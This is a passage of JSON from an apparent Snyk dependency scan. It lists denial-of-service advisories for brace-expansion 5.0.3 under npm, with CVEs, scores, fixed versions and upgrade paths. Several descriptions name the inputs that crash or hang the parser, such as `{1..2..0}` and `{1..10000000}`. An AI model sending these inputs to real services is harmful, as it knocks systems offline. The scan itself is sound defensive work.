"exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, 